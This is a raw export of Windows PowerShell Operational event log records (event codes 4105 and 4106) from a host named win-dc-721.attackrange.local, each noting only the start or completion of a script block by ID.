EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479260
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479259
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479258
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479257
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479256
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479255
Keywords=None
Message=Completed invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479254
Keywords=None
Message=Started invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479253
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479252
Keywords=None
Message=Started invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479251
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479250
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479249
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479248
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479247
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479246
Keywords=None
Message=Started invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479245
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479244
Keywords=None
Message=Completed invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479243
Keywords=None
Message=Started invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479242
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479241
Keywords=None
Message=Completed invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479240
Keywords=None
Message=Started invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479239
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479238
Keywords=None
Message=Started invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479237
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479236
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479235
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479234
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479233
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479232
Keywords=None
Message=Started invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479231
Keywords=None
Message=Started invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479230
Keywords=None
Message=Completed invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479229
Keywords=None
Message=Started invocation of ScriptBlock ID: 53781394-c176-41ff-b5ee-289ee22c086b
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479228
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479227
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479226
Keywords=None
Message=Completed invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479225
Keywords=None
Message=Started invocation of ScriptBlock ID: 32d46f36-be94-4f0d-abe1-0c2f6b2cdf81
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479224
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479223
Keywords=None
Message=Started invocation of ScriptBlock ID: 1ef9c228-b78e-4897-b91e-9c995c7fd3bc
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479222
Keywords=None
Message=Completed invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479221
Keywords=None
Message=Completed invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479220
Keywords=None
Message=Started invocation of ScriptBlock ID: 7e434dd3-d70d-47fd-bebf-987ac7eb8aab
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479219
Keywords=None
Message=Started invocation of ScriptBlock ID: 62c73b10-ce47-4819-a622-55e5c86121c9
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479218
Keywords=None
Message=Completed invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479217
Keywords=None
Message=Started invocation of ScriptBlock ID: d8b2c5a7-15db-4656-8a13-36c4cff94b52
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479216
Keywords=None
Message=Completed invocation of ScriptBlock ID: 8b6d6aa4-57ee-4061-8314-82885b07f2c4
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479215
Keywords=None
Message=Completed invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479214
Keywords=None
Message=Started invocation of ScriptBlock ID: 28b0d021-de54-4ece-9f97-e05084174e2f
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479213
Keywords=None
Message=Completed invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479212
Keywords=None
Message=Started invocation of ScriptBlock ID: 6acf7ef5-6f9c-406b-a073-9c2ad6e0edec
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479211
Keywords=None
Message=Completed invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479210
Keywords=None
Message=Completed invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=1479209
Keywords=None
Message=Completed invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479208
Keywords=None
Message=Started invocation of ScriptBlock ID: 9eb59db5-ed3e-41d3-9d04-6a88e40f3e61
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479207
Keywords=None
Message=Started invocation of ScriptBlock ID: 3a4f0322-8a1f-4935-b75b-7b1360c19530
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=1479206
Keywords=None
Message=Started invocation of ScriptBlock ID: ab08d06b-e77b-4ba9-b07f-36e40d1b53cd
Runspace ID: c5f1100c-56fc-4347-871f-80d397213539
06/15/2021 05:06:26 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-dc-721.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-3463394951-919314656-1840492511-500
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
